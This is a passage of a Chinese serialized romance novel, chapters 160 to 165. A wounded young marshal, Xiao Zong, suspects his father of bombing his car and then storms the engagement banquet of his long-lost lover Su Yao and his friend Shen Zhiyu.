“少帅，你确定是大帅干的？” 她不敢置信地开口，声音已经因为愤怒变了调。 可惜，依然没得到回应，萧纵还是听不见她说了什么。 但他却仍旧在笑，笑得越来越厉害，越来越厉害。 厉害到他控制不住地弯下腰；厉害到伤口一个个撕裂崩开，厉害到连手里的烟都没能拿稳，任由它掉在了地上。 金锦沉默了下去。 虽然不知道萧纵是不是真的有证据证明这场**是萧远山策划的，但她很清楚，萧纵不会拿这种事情开玩笑。 这件事，和萧远山一定脱不了关系。 第160章 去恭喜他 第二天，萧纵遭受袭击的消息就登了报，整个海城都传遍了。 一时间事情闹得沸沸扬扬，不少记者堵在帅府门口想要问个真相，连孙少甫都带着周宝成来了一趟，一再保证他这个调查科会找出真相，还萧纵一个公道。 金锦和萧翼气的额角直跳，这到底是来慰问的，还是来打探消息的？ 好在陈施宁听说萧纵受伤后就一直待在帅府，帮着两人拦了拦，没让人真的见到萧纵。 等人一走，他就狠狠啐了一口，“呸，一群小人。” 一想到昨天见到的萧纵的样子，他控制不住的脸色铁青，“真是吃了熊心豹子胆，竟然敢对少帅下手，真当我陈家是摆设？老子这就把人抓出来！” 转身就要走，金锦拦住他的去路，“少帅昏睡前交代了，这件事不让你插手。” 陈施宁睁大了眼睛，“不让我插手？你们在开什么玩笑？” 他不敢置信地指着自己的鼻子，“我不插手，谁还管他？等他醒了再处理，人早跑了！你给我闪开！” 他绕过金锦就往外走，却被一个擒拿反拧了胳膊，顿时疼得嗷嗷直叫，刚才的气势荡然无存。 金锦松开手，“我没用力，别叫了。” 陈施宁满眼控诉地伸手给她看，“手腕都让你捏红了，你说你没用力气？小爷也是会功夫的，你糊弄谁呢？” 金锦有些一言难尽，陈施宁会点功夫，但仅限于花拳绣腿的程度，连苏姚都打不过，更别说她了，以往他对自己的认知十分清晰，但自从去年和萧纵打了一架之后，他就开始盲目自信了。 她没拆穿对方，只叹了口气，“你陈家最近也乱，老爷子这一病，那些把兄弟都开始不安分了，少帅希望你能先保护好自己。” 她拍了拍掌，两个寻常人打扮的精壮汉子从外头走了进来，“这是少帅给你准备的人，这种时候，小心为上。” 陈施宁没了言语，片刻后，忽然抬手抹了把脸，“他有空给我准备人，自己怎么不带两个？让人炸成这样……” 他抱怨着，却慢慢冷静了下来，金锦说的是实话，陈家最近的确是不太平，他爹后院干净，没有兄弟姐妹争权，但却有一堆把兄弟，要是这些人想夺权，他就是那个众矢之的。 “那你们这边怎么办？谁去查了？” “我们这边好查。” 金锦扫了眼帅府的佣人，“车子是在府里被动的手脚，逃不出这些人去，只要抓到了就能问出来。” 但萧纵似乎已经拿到了什么证据，笃定是萧远山干的，需要等他醒过来才能问个清楚。 见她如此冷静，陈施宁也没再说什么，“好，既然你们都想好了，我就不掺和了，我上去看看他。” 他抬脚上楼，萧纵已经又回了三楼，身上缠满了绷带，睡得无知无觉。 陈施宁看不了他这个样子，鼻梁一酸，差点哭出来，只好捂着嘴背转过身去，等他平复好心情再转过身来的时候，却发现萧纵已经醒了，正靠在床头，满眼新奇地看他。 “……你大爷的，醒了不知道说一声？” 萧纵咧嘴一笑，“这么大的人了，还哭鼻子，多新鲜呐，我不得多看一会儿。” 陈施宁被他噎了个够呛，却又放下心来，精神这么好，应该没什么问题。 “出去一趟，别的本事没长，嘴倒是欠了。” 他挤兑一句，端了水给他喝，可又看见了他缠满绷带的手，犹豫片刻递到了他嘴边。 萧纵抬手拿过杯子，“我还没废物到这个地步，都是皮肉伤，不用这么小心。” 陈施宁被他气得不知道说什么好，人都被包成木乃伊了，还逞强呢？ 但他没逞口舌之快，还是不放心昨天的事—— “查凶手的事真不用我管？陈家再乱，也不至于这点忙都帮不上……” 萧纵摇摇头，“我已经有眉目了。” “这么快？！” 陈施宁满脸的震惊，“什么时候找到线索的？” 他知道萧纵雷厉风行，却也没想到他能快到这个速度。 萧纵思绪有些恍惚，他又想起了昨晚的那个狙击手。 每个人开枪都有自己的习惯，昨天的那个狙击手也有，两发子弹都偏左。 好巧不巧的，他年少时候，在萧家老宅见过这么一个人。 “你就别管了，金锦把人给你了吗？” 陈施宁应了一声，他们也没心思再说别的，见人醒了，陈施宁就要走，他还得回去照顾他爹，只是走到门口，他又想起了什么，折返了回来，“早上的时候沈爷也来探望你了，还说订婚宴你就别去了，他会找机会带人来拜访你的。” 萧纵一滞，带人拜访他，是带那个长得很像苏姚的人吗？ 心口的空洞感又涌了上来，明明全身都疼，那感觉却怎么都压不住。 他抬手不轻不重地锤了两下，却锤得自己咳了起来。 “你小心点啊。” 陈施宁连忙上前给他顺了顺气，顺带将他没有轻重的手拍开。 萧纵咳了好一会儿才平复了呼吸，却摇头拒绝了，“他的好日子，我怎么能不去？” 陈施宁动作一顿，语气里都是无奈，“你还真信了那个人的鬼话？” “我没别的意思。” 萧纵打断了他，侧头看向床头放着的手电筒，“我就是，想去恭喜他。” 第161章 命硬 萧纵一醒来，就又要出门，这次他吸取了教训，将车辆仔细检查了一遍，才敢坐上去。 几辆车，浩浩荡荡地去了下百盛。 路上不停有人侧目，往日里混乱地下百盛，今天越发暗潮汹涌。 “少帅，好像多了很多双眼睛，在盯着我们。” 萧翼开了车门，仅剩的右眼扫过不远处的小商贩，虽然对方躲开得迅速，可他仍旧准确地抓捕到了那窥伺的目光。 “让他们看吧。” 萧纵没计较，弯腰下了车，“看看我的命，有多硬。” 萧翼嘴唇动了动，不知道说什么好，后心却一阵阵地发冷，昨天的情形实在是惊险，若是萧纵反应不及时，或者是狙击手动作更敏捷一点，现在都不知道是什么情形。 “还是得小心些。” 他忍不住开口，萧纵却没搭理，只抬手抽了根烟出来，摸遍了衣袋才发现没带打火机，他侧头朝萧翼看了过去。 萧翼下意识去摸衣袋，随即想起什么，用力摇头，“属下也没带。” 萧纵不耐烦地啧了一声，“你再说你没带？让我自己找是吧？” 萧翼没办法，只好将打火机拿了出来，抬手给他点了烟，“医生说了，你养伤，要少抽点。” 萧纵敷衍地哼了一声，抬脚往巷子里走。 众人连忙跟上，萧翼忍不住叹气，刚受了伤，做了手术，这时候不歇着，非要出来…… 可谁都知道萧纵的烂脾气，没人劝得动，只好率先上前开路。 巷子里倒是比外头清净得多，没人蹲在这里头窥伺，只有褐色的墙静静矗立在那里。 萧纵扶着墙慢慢往前走，没多远就没了力气，靠着墙停了下来。 萧翼连忙扶住他，“看也看了，回去吧。” 萧纵没开口，只用力吸了一口烟，呛得自己咳了起来，萧翼想给他顺气，却又怕碰到伤口，几番犹豫过后，还是选择了干看着。 “你说，” 最后，是萧纵自己平复了咳嗽，他目光幽远，像是在看巷子深处，又像是在看虚空中根本不存在的人，“她往这里走的时候，在想什么呢？” 萧翼咽喉突地堵了一下，半晌，他摇摇头，“属下不知道。” 萧纵沉默下去，等手里那根烟抽完，他才哑声开口，“我也不知道。” 他的身体仍旧虚弱，只站了这一小会儿，眼前就有些发晕。 萧翼眼见他的身体晃了晃，半拖半请地扶着他往回走。 这次萧纵没再坚持，转身回了车上，萧翼连忙钻进驾驶室，刚要松口气，就透过后视镜看见了萧纵的白衬衫上晕染了一片粉色。 “就说不能来，您看伤口又裂开了。” 萧纵靠在椅背上，外头的风又热又闷，吹得他疲乏的厉害，索性闭上了眼睛，声音也懒洋洋的，“你以为我出来只是为了看看这地方吗？” 萧翼诧异地看他一眼，“少帅还有别的谋算？” “倒也说不上，想气气那老东西而已，看我没死，还能出门，你说他是不是要气得饭都要吃不下了？” 他说着笑起来，萧翼却听得一阵无语，都不知道该怎么接话好。 “您若是想反击，咱们倒不如先示弱养伤，再出其不意。” “藏着有什么意思？” 萧纵轻哂一声，明明脸色因为伤重才透着病态的苍白，可却衬得嘴角的笑越发狠绝锋利，“硬碰硬才好看啊，明天……” 他似是走神了，停顿了几秒才再次开口，“明天是个好日子，放些鞭炮，给沈知聿助助兴吧。” “是。” 萧翼应了一声，短短一个字，却愣是被他说出了咬牙切齿的味道。 但很快，他就又犹豫了起来，“明天，您真的要去吗？人多眼杂的，万一再出点什么事……” 最重要的一点他没说，他担心萧纵这身体扛不住。 “当然要去，万一呢……” 萧纵喃喃开口，声音太低了，萧翼竟没听清。 “您说什么？” 他竖了竖耳朵，却没等来萧纵的重复，他忍不住回头看了一眼，这才瞧见他脸颊染上了不正常的绯红，顿时吓了一跳。 “少帅？你发烧了吗？你醒醒！” 萧纵掀开眼皮看了他一眼，“别喊，我有点困……回去吧。” 萧翼连忙加速，可大约是太着急，竟险些和迎面开来的车撞上，他猛地踩下刹车，对方反应也十分及时，两辆车在碰撞前险停了下来。 路却被堵住了。 好在那车十分熟悉，是沈知聿的。 “少帅又来看巷子了？” 沈知聿下车走了过来，透过车窗看见了萧纵的脸色，眉头拧了起来，“他这幅样子，怎么还出来？” 萧翼苦笑一声，明明什么都没说，意思却十分明显。 谁劝得住啊。 沈知聿叹了口气，朝车上的司机摆了摆手，司机立刻后退，将路让了出来。 “多谢了。” 萧翼踩下油门，两辆车擦肩而过。 一道窈窕的身影就在此时，自路边的书店里走了出来，十分自然地挽住了沈知聿的胳膊。 “看什么呢？” 苏姚温声开口，顺着他的目光往前看。 “刚才那辆车里的，是萧纵。” 沈知聿开口解释，说话间，已经自然而然地接过了苏姚手里抱着的书。 “哦。” 苏姚淡淡地应了一声，脸上并没有半分情绪变化。 沈知聿这才收回目光，“看他的样子，明天可能来不了我们的订婚宴了。” “不管他来不来，我们的订婚宴，都得办不是吗？” 苏姚轻声开口，“虽然不知道他为什么非要找我，但既然他还在找，那我们就有的是机会碰面。” 第162章 太欺负人了 回到帅府的时候，萧纵已经昏睡了过去。 医生给他量了体温，三十九度，他被吓了一跳，连忙给萧纵输了液：“少帅这几天一定要静养，可千万不能再出去了。” 萧翼忍不住叹气，谁都知道萧纵要静养，可有什么用？ 他非要出去，谁能管得住？ 他只觉得脑仁疼，看着萧纵难看的脸色，犹豫了很久，还是下楼给沈知聿拨了个电话。 几秒后，电话被接通，另一端响起的是道女声，“沈公馆，请问找谁？” 萧翼一愣，这女人的声音，怎么这么熟悉啊…… “喂？” 听他迟迟不开口，电话那端的人催促了一句，萧翼这才回神，“是帅府。” 他猜到了那人的身份，大约就是沈知聿的未婚妻子，语气客气了几分，“劳烦转告沈爷，少帅需要休养，明天的订婚宴他就不去了，鄙人会代为出席，还请沈爷见谅。” “小事而已，不必介怀，期盼少帅早日康复。” 电话被挂断，萧翼仍旧拿着话筒出神，那声音，真的好耳熟啊…… 他很快压下了混乱的心思，还有很多事情要忙呢。 萧纵要和萧远山硬碰硬，那就得好好安排，他正打算去一趟军部，刚挂断的电话就响了，他随手接起来，是门卫的电话。 “怎么了？” “这声音，是萧副官吧？” 周宝成含笑的声音传过来，听得萧翼皱起眉头，这人昨天刚来过，今天又来干什么？ “是周主任啊，真是不好意思，少帅刚睡下，实在是不方便见客。” “无妨，无妨。” 周宝成拉长了音调，“少帅总会醒的，我可以等。” 萧翼的脸色有些不好看，这人听不懂好赖话是吧？ 他刚要直接拒绝，电话那端就换了人，“萧翼，先让我们进去。” 是褚英的声音，萧翼的眉头皱得更紧，可短暂的犹豫过后，他还是把人放了进来。 不多时两人就进了门，萧翼目光落在褚英身上，用眼神询问他怎么会和周宝成混在一起，对方却只是摇头，什么都没说。 他只好勉强露出个笑来，“多谢二位记挂，只是太不巧了，少帅刚刚换了药，睡下了，实在是对不住了。” “不妨事，萧副官在也是一样的。” 周宝成含笑开口，他并不是个沉得住气的人，早先在城门口起冲突的时候就能看出来。 大概是干的活一直不干净的缘故，这人身上一直有股毒蛇般的阴险感。 可此时，他却满脸堆笑，仿佛和帅府是什么至交亲朋。 “总统十分记挂萧少帅，特意让我来慰问，还备了份礼。” 他说着将一个袋子递过来，袋子没有密封，显然是可以看的。 萧翼索性拿出来看了一眼，下一瞬，他咬肌死死绷住，脸色十分难看。 那是一份任命书，萧远山主动改番了，换句话说，以后就没有萧大帅，只有萧师座。 以往双方互斗，只能说是家务事，可现在萧远山换了番号，就是正式的总统军，萧纵如果还想动他，那就是在打总统的脸，就要被扣上内乱的帽子。 萧远山这个王八蛋，算计了人，就找了保护伞。 连面对面的硬碰的机会都不给他们。 可凭什么呀？ 萧纵现在全身都是伤，昨天只差一点，就差那么一点，人就没了，他们现在却连仇都不能报！ 他憋屈地浑身哆嗦，手背上青筋凸起。 “这是喜事一桩啊，” 周宝成脸上的笑意加深，他仿佛没看见笑意狰狞的脸色一样，自顾自开口，“俗话说得好，子承父业，萧少帅还是要跟紧萧师座的脚步才好。” “你！” 萧翼气得大脑充血，拳头咔吧作响，猛地往前跨了一步，却被褚英拦在了原地，“你别给萧纵添麻烦。” 他压低声音呵斥，“别忘了萧纵现在的处境，不能生事。” 萧翼呼吸粗重，拳头攥得更紧，却没再往前，褚英这话说得对，萧纵现在重伤未愈，这种时候起冲突，只会让他的处境更艰难。 “好了，事已至此，只能忍下这口气了。” 褚英见他冷静了下来，也缓和了语气，话里却都是无奈，如果之前还没有人知道昨天的爆炸是谁干的，那今天这份任命一出，就算是挑明了。 可就算事情已经写在了明面上，他们也仍旧没有证据，只能将这个哑巴亏生生咽下去。 他拍了拍萧翼的肩膀，“这件事就先别告诉萧纵了，等他养好身体再说。” 萧翼的脸色越发难看，却什么都没说。 “东西已经送到，那我就先告辞了。” 周宝成再次开口，笑容十分灿烂，“请萧副官转告少帅，一定要养好身体。” 萧翼刚平复下去的火气再次被激了起来，牙齿咬得咯咯作响，他现在才看明白，为什么周宝成一直在笑，因为他就是来看帅府的笑话的。 这个小人！ 可不管他怎么生气，都不能在面上和人起冲突，只能看着他大摇大摆地走了。 “操！” 他恶狠狠地将手里的文书砸在茶几上，抬手糊了把脸，强行逼着自己冷静了下来，不管他现在怎么愤怒都无济于事，当务之急还是要确保萧纵的伤能尽快养好。 萧纵是主心骨，只有他好好的，军队才能有精力反击。 他目光又落在那份文件上，几番犹豫过后，还是将文件收了起来，等萧纵好一些再告诉他吧。 萧纵这次的昏睡，一直持续到第二天。 管家很担心，萧茵也一直陪在床边，医生却说是好事。 萧纵年纪轻轻就上了战场，这些年下来身上数不清的暗伤，趁着这个机会倒是可以调养一下。 听他这么说，众人提着的心才放了下来，只盼着他能多睡一会儿，可萧纵却又自己醒了。 彼时萧翼正一边陪护，一边处理紧急的军报，看见人坐起来的时候，还愣了一下，随即连忙走了过来，“少帅醒了？要喝水吗？属下这就喊大夫过来。” 他抬手就要拨电话，萧纵却眯起眼睛看了眼时间，“都这个点了，怎么不喊我？不是沈知聿订婚吗？” 萧翼动作一顿，“少帅，你不能去，医生说了……” 萧纵抬了抬手，“别腻腻歪歪的，给我拿衣服。” 萧翼叹了口气，只能伺候他更衣。 沈公馆已经变了幅模样，大红的灯笼高高挂在门口，到处都贴着红喜字，瞧着十分喜庆。 萧纵仰头看了一眼，思绪有瞬间的恍惚，但很快就压了下去，抬脚就往里走，却迎面遇见了陈施宁。 对方看见他脸色大变，猛地拦住了他的去路。 第163章 苏姚打他了 “你，你怎么来了？” 陈施宁开口，声音不自觉颤了一下，“昨天不是打电话，说不来了吗？” “不来了？” 萧纵眉梢一挑，侧头瞥了眼萧翼，“长本事了，能替我做主了？” 萧翼心虚地低下了头。 “他也是为你好。” 陈施宁连忙打圆场，上前一步虚虚拥着萧纵，却是将人推着往外走，“你还是赶紧回去养着吧，沈爷的性子你也知道，他不会计较这点小事的。” 萧纵脚下没动，侧头狐疑地打量着他。 陈施宁被看得心里发毛，“你看我干什么？” “这不是得问你吗？” 萧纵掰开他的手，眯起眼睛盯着他瞧，“一见面就结巴，做什么亏心事了？” 陈施宁眼底闪过一丝慌乱，很快又强行压了下去，“我能做什么亏心事？还不是担心你的身体吗？赶紧回去养着吧，待会我替你道贺。” 萧纵脚下仍旧没动，“我来都来了，哪还用你替我道贺。” 他说着，推开人就要进去，陈施宁却急了，老母鸡护崽子一样，张开胳膊挡住了往里的路，“你真不用进去。” 萧纵的脸色慢慢淡了下去，静静地看着陈施宁。 仿佛山岳将倾，巨大的压力迎面扑来，陈施宁张开的胳膊慢慢收了回去，萧纵这副样子实在是吓人，别说帅府的人，连他也扛不住。 可他却仍旧没让开路。 见他这副样子，萧纵还没反应，萧翼的心头先跳了一下，他忽地想起了昨天打通的那个电话，那道熟悉至极的声音。 该不会…… “老宅来人了，我不想让你们碰面。” 陈施宁无奈开口，萧翼一愣，一时心里说不上什么滋味来，迟迟没能回神。 “我还当是怎么了。” 萧纵啧了一声，“今天是沈知聿的好日子，我还能在他的订婚宴上杀人啊？” “我能是这个意思吗？” 陈施宁笑嘻嘻凑过来，扶着他往外走，“这不是眼不见，心不烦吗？几条狗而已，犯不着和他们动气，我给你准备间屋子，你就先歇着，等人走了，我再去请你。” 萧纵蹙起眉头，这怎么像是他在避着老宅的人一样？ 可一想到稍后会发生的事，那点小情绪又被压了下去，不节外生枝也好，等把账算了，再登萧家的门去看热闹吧。 “不用了，我出去转一圈，待会再回来。” 陈施宁一听就知道他要去哪里，神情变得十分复杂，如果是以往，他肯定要劝的，可这次却什么都没说，“行，那你路上小心。” 萧纵应了一声，抬脚就走。 眼看着他的出了门，陈施宁长出一口气，他其实也不知道自己拦他对不对，但能拖一时是一时。 他转身要往回走，一道婉转悦耳的声音却在此时飘了过来。 对方只是在照应宾客，说的话十分简短，隔这么远传过来，也已经不甚清晰，可仍旧听得陈施宁心头一咯噔，他几乎是下意识地朝萧纵看了过去。 男人果然停下了脚步，身体崩得笔直。 他连忙走了过去，试图遮掩，“今天宾客不少，还请了名伶，你……” 小臂忽地被握住，萧纵没有转身，没有回头，甚至连余光都没往身后侧一下，可抓着他的手却在打颤。 陈施宁嘴边的话咽了下去，很清楚自己忽悠不住萧纵了。 气氛陷入古怪的死寂，直到又一声模糊的话语传过来，萧纵才骤然转身，朝礼堂大步走去。 陈施宁叹了口气，没再拦他，只落后两步追了上去。 只有萧翼不明所以，反而落在了最后面。 沈公馆有个礼堂，平日里并不启用，是最近才特意收拾出来的，所以萧纵其实并不认识路，但这丝毫不妨碍他往前。 他清楚地记得声音飘来的方向，就在前面，就在那里！ 他越走越快，越走越快。 落后几步的萧翼眼看着他才换上的白衬衫上又泅出了血迹，连忙小跑着追上去扶了他一把，“少帅，您要去干什么？” 萧纵声音颤抖，“你没听见吗？” 萧翼被问得越发茫然，“听见什么？” 萧纵根本分不出心思来解释，只是再次加快了速度，绕过九曲回廊，一扇大门出现在眼前，他猛地上前，一把将门推开。 门内宾客齐聚，热闹非凡。 可萧纵的耳边却针落可闻，他什么都听不见，什么都看不见，目之所及，只有人群中央那道窈窕的身影。 对方虽然背对着自己，可他太熟悉这幅身体了，哪怕只是个背影，他也能无比笃定地认出来—— 苏姚。 不会错的。 你回来了 我就知道，你会回来的。 嘴唇张了张，却没能发出声音。 明明久别重逢，该是高兴的，可他却像是又回到了一年前，回到了那条满是划痕，却怎么都找不到人的巷子里；回到了，那个他怎么努力，都喊不出苏姚名字的时候。 他恍然有种错觉，仿佛眼前的一切都只是他的幻想。 他可能还没从高烧中彻底清醒过来，也或者是陷在了战场上的某一次重伤昏迷里。 眼前的一切虚幻模糊，缥缈得没有半分真切。 直到人群中央的那道身影，慢慢转过身来。 描摹过无数次的眉眼，亲吻过无数次的红唇，如此真实，如此清晰。 一切虚幻的错觉骤然消失，萧纵浑身一震，骤然清明，大步朝她冲了过去。 苏姚。 他穿过人群，一步步朝苏姚靠近，眼前却控制不住地模糊了起来，他狠狠闭了下眼睛，再睁开时，那张脸还在眼前。 他脚下步伐更快，一只手却伸出来，拦住了他。 脚步被迫停了下来，萧纵的目光却怎么都无法从苏姚身上挪开，他仍旧一眨不眨地看着面前的人，直到拦着他的人上前一步，连他的视线也遮挡住。 “少帅，你的位置不在这里。” 沈知聿语气沉声开口，萧纵一向敏锐，这一刻却什么都想不明白，他甚至都没想过苏姚为什么会在沈家，他只想走到苏姚面前去。 “闪开。” 他沉声开口，对方却纹丝不动，仍旧拦着路。 萧纵勉强将目光落在他身上，眼底都是不解和急切，“你看见她了吧？她就在那里，你拦我干什么？” 沈知聿叹了口气，“少帅，先入席吧。” 萧纵不敢置信地看他一眼，入席？ 这种时候，他入什么席？ 他一把将沈知聿推开，越过他就往前走，肩膀却被抓住，对方又跟了上来。 他没有回头，只反手一拳砸了过去，沈知聿侧头躲过，掌心却一片黏腻，他垂眸，就看见手上沾了一片血迹。 再去看萧纵的时候，肩头果然有血染红了衬衫。 他一时有些束手束脚，却仍旧不肯让路。 “沈知聿！” 萧纵低吼一声，大约是意识到不解决他自己过不去，他捏拳就打了过来。 他不管不顾，沈知聿一时竟被他逼得节节败退，眼看着就要被一拳砸在胸口，一只茶壶猛地砸了过来。 萧纵下意识躲闪，侧头朝茶壶飞来的方向看去，却看见了苏姚那张脸。 他怔住，下一瞬胸口一痛，整个人控制不住地往后退去。 萧翼终于追了上来，连忙扶住萧纵，“少帅，没事吧？” 萧纵没开口，他怔怔站在原地，低头看看自己的胸口，又看看不远处的苏姚，终于后知后觉地反应过来刚才发生了什么，苏姚，和他动手了。 第164章 请你出去 他缓缓抬眸，目光再次落在苏姚身上，嘴唇几次开合，却都没能说出话来。 萧翼也跟着他的目光看过来，瞧见苏姚的瞬间，整个人都愣住了。 “苏，苏小姐？！” 他不敢置信地开口，整个人都懵住了，“我是不是眼花了？” 他抬手用力去揉眼睛，陈施宁捂着胸口追上来，看见他的样子忍不住叹了口气，倒是丝毫不稀奇，因为之前他看见苏姚的时候，也是这幅反应。 虽然帮着萧纵找人的时候，他们心里都存着侥幸，可谁都清楚，希望不大。 再见到苏姚，无异于瞧见死人复活，心中的震惊难以言表。 “没看错，就是她。” 他扬声开口，萧翼得到了肯定，这才再次看向苏姚，身体细微的颤抖起来，激动得根本不知道该说什么好，最后，他扭头看向了萧纵，“少帅，是苏小姐，她回来了，你看见了吗？她竟然真的回来了……” 他知道萧纵肯定已经看见了，可控制不住地想要分享一下激动的心情。 回应他的，是萧纵压低的咳嗽声。 萧翼这才想起来，刚才萧纵似乎在和人动手，他目光扫过在场的人，最后又落在了苏姚和沈知聿身上，目光惊疑不定起来，“你们……” 不是他想怀疑两人，而是满院子的人，只有他们两个站着。 苏姚轻咳一声，目光扫过萧纵，眼神一片冷淡。 虽然听说了萧纵前两天遭受了袭击，可她也没想到他会伤得这么重，这短短一小会儿，身上的衬衫就被血染得不成样子。 但这和她没什么关系，或者说，对她而言是好事，萧纵受伤了，精力就会下降，才会给她们营救唐黎创造机会。 但话不能这么说。 “今天是我和知聿的订婚宴，两位能来，我们很欢迎，但若是想闹事，我们也不会客气。” 她扬声开口，语气冷淡。 萧翼愣住了，订婚？ 他下意识看了眼萧纵，却见对方只是看着苏姚，神情怔怔，一言不发。 他忍不住了，“你怎么会和沈爷订婚？你和少帅……” “那都是过去的事了。” 沈知聿上前一步，将苏姚半拥在怀里，语气低沉，“你我都知道，少帅当初是怎么对她的，她当年一走，他们就结束了。” 萧翼被堵得哑口无言，根本无力辩解一个字。 “还请少帅成人之美。” 沈知聿再次开口，话音落下，所有人的目光都落在了萧纵身上。 偌大的礼堂，一时竟针落可闻。 “……苏，姚。” 喃喃的低语声响起，细碎，低哑，轻得几乎听不清。 萧翼这才意识到，萧纵刚才不是没开口，只是声音太低，他没听见。 “苏姚。” 他又唤了一声，眼神逐渐清明起来，他似是没听见刚才萧翼和两个人的对话，颤巍巍朝苏姚伸出手，“我们回去。” 周遭气氛更静。 苏姚指尖微微一蜷，她没想到萧纵是这个反应，短暂地失了神，但仅仅一刹就恢复了清明，她皱起眉头，“我已经和帅府没有任何关系了，还请少帅不要再胡言乱语，坏了我和知聿的情分。” 人群里响起吸气声，虽然很少人见过苏姚，但都听说过有这么一个人，只是谁都没想到，她竟敢明目张胆的红杏出墙。 “这也太不知死活了。” “就是，少帅和沈爷怕不是要为了一个女人反目。” “这种女人怎么值得……” 众人窃窃私语，越说越躁动，冷不丁一声枪鸣直冲云霄。 嘈杂起来的礼堂瞬间又安静下去，萧纵仿佛听不懂人话一样，扔了枪就大步走过来，“我们回去。” 他伸手就要来拉苏姚，却被沈知聿一把钳住手腕，“少帅，朋友一场，我不想闹得太难看，才手下留情，你若是再胡搅蛮缠，我就不客气了。” “正是。” 宾客席上有人站了起来，对方一身军装，一看就知道是谁的人，“大少爷，你还是要懂些事的，不然师座又该动家法了。” 萧翼本就因为之前的事憋了一肚子火，此时见老宅的人还敢蹦跶，顿时怒从心头起，抽出枪就要毙了他，却被陈施宁一把拦住。 “别冲动，他现在，可不只是萧家的人。” 就算真要动手，也不能当着这么多人的面杀啊。 萧翼听进去了，却迟迟不肯放下枪，他替萧纵憋屈。 他生来骄傲，什么时候，受过这种气？ 可萧纵自己却根本没注意到萧家的人说了什么，他仍旧看着苏姚，一字一顿地开口，“我们回去。” 苏姚忍不住抬眸，她料到了萧纵找她一年，不会轻易放手，但也没想到他能这么执拗。 你要我回去，是图什么呢？ 她心底冷意弥漫，仰头看向沈知聿时，却刻意露出了柔情：“请少帅出去吧，我不想看见他。” 第165章 她是我的 “好，” 沈知聿答应一声，“你先去后面休息吧，这里我来处理。” 苏姚朝他一笑，转身往后走。 “苏姚，别走！” 萧纵急切地喊了一声，下意识抬脚追了上去，却被沈知聿再次拦住，“少帅，我话已经说得很明白了，请你自重。” 萧纵眼神骤然狰狞起来，一把揪住了沈知聿的领子，他很想一拳砸下去，可看着面前的人，他的身体却控制不住地战栗起来。 “沈知聿，你明知道我在找她，你明知道我心心念念地惦记着她，你怎么能把她藏起来？” 他双手青筋暴起，声音却低了下去，“你是我的朋友啊，我们多少年的交情，你有她的消息，怎么能不告诉我？你怎么能……不告诉我……” 沈知聿垂下眼睛，萧纵一向骄傲强势，这种质问还是头一回，即便双方立场相左，这一刻他也仍旧心情复杂，只是那情绪并不能改变任何事情。 “我没有告诉你，是因为苏姚不想见你，你们已经结束了，你也该放下了。” “不可能！” 萧纵低吼一声，“什么叫结束？如果不是你横插一脚，她已经跟我回去了！她是我的，你听清楚了，她是，我的。” “你的？” 沈知聿的脸色也跟着冷了下来，他反手拧住萧纵的手腕，对方一沉手就避开了，两人原地狠狠撞了一拳，他甩了下手腕，声音冷沉，“你说这句话的时候，想过她是个人吗？她有独立的人格，有自己的思想，她不是你的所有物，萧纵，你什么时候能学会尊重？！” “那是我们的事，轮不到你管！” 萧纵被戳中痛楚，抬脚冲了过去，两人再次交手，谁都没有留情，拳拳到肉，惊得宾客四散而逃，纷纷避让，转瞬间礼堂就空旷了起来。 “别打了！” 陈施宁急得直嚎，“萧纵，你身上还有伤！” “沈知聿，你大爷的，他身上有伤，你轻点啊！” 可两人谁都没有理他，一拳一拳，互不相让，萧翼有心阻拦，却险些被波及，被迫退了回来，只能和陈施宁一样干看着。 萧纵的衬衫肉眼可见地变成了红色，沈知聿怕出人命，硬挨了一拳，趁势后退，拉开了距离。 萧纵也没再逼近，只抬手扶了下桌子。 他呼吸急促，身体控制不住地晃动，沈知聿上前扶了一把，“怎么了？” 话一出口他就意识到自己根本不需要问，因为触手滚烫的体温说明了一切。 “你发烧还胡闹，赶紧送他回去。” 后半句是说给萧翼听的，却不等萧翼动作，萧纵先抓住了他的手腕，“让我见见苏姚，她都没和我说过话。” 他明明那么清楚地看见了她，却根本触碰不到。 除了，她为了保护沈知聿，而打在自己胸口的那一下。 钝痛涌上来，他抬手捂上胸口，呼吸有些急促，手却仍旧死死抓着沈知聿。 “我只见一面。” 沈知聿心下一叹，朋友多年，他是第一回听萧纵用这种语气开口。 可他却毫不留情地推开了那只手，冷下声音，“朋友一场，我不想把话说得太难听，但我还是得告诉你，苏姚和你已经没有关系了，以后不要再来打扰她的生活。” 话音落下，他后退一步，见萧纵还要上前，他沉下脸：“萧纵，如果刚才苏姚的话你没听清楚，我再转述一遍，” 他放慢语调，一字一顿道，“她，不想看见你，听明白了吗？” 萧纵目光一颤，什么都没说，只是再次抬脚上前，却在下一瞬软了身体，陈施宁连忙将人接住，有些尴尬地收回了手刀，和萧翼解释，“我是不想看着他再这么折腾了。” 萧翼什么都没说，弯腰将萧纵背了起来。 萧纵的确不能在这里再待下去了。 “对不住了各位。” 陈施宁目光扫过在场众人，本想堵一下别人的嘴，可看见萧家老宅的两个人，话又咽了下去，别人还好说，可萧远山的人，根本不会听他的。 所以，最后他只是神情复杂地看了眼沈知聿，“回头，我们找个机会谈谈吧。” 话音落下，他加快速度出了沈公馆。 以往打晕人的事，根本不用他亲自出手，一时没掌控好力道，刚回到车上，萧纵就睁开了眼睛，他连忙锁了车门，催促萧翼开车。 几辆车逃也似的离开了沈公馆，好在萧纵没再坚持进去，只抬手揉着胸膛，一下一下。 陈施宁正琢磨着怎么劝他，一眼就看见了他胸口的血色再加深，连忙拉开了他的，“伤口裂开了还揉？你是不是烧傻了？” 萧纵没开口，只透过车窗看着外头，眼神一片晦涩。 帅府离得不算远，一到地方，他还没等下车就喊大夫，很快就有医疗人员赶了过来。 衬衫被剪开，纱布也一层层地揭开，露出了萧纵完全没有愈合，甚至越发狰狞的伤口。 尤其是胸口的那道伤，那是之前的爆炸，一枚弹片留下的，好在被肋骨卡住，没有造成致命伤，可伤口却很深，此时浓稠的血液正一点点从伤口里渗出来。 陈施宁实在是看不了这场面，抬手捂住了眼睛。 萧纵却还想去碰那伤口。 “少帅，你不能碰了。” 医生连忙开口劝阻，萧纵却不听，萧翼不得不以下犯上，钳制住了他的手腕。 陈施宁也强忍着不适走了过来，“你不知道疼吗？” 萧纵垂下眼睛，低声呢喃，“疼啊，怎么会不疼呢……” “知道疼你还不老实点？” 陈施宁难以理解，萧翼却忽然想起来，自己冲进去时看见的那个画面，他语调艰涩，“伤口裂开，是因为苏小姐吗？她刚才，伤了这里吗？” 萧纵没开口，只闭上了眼睛。 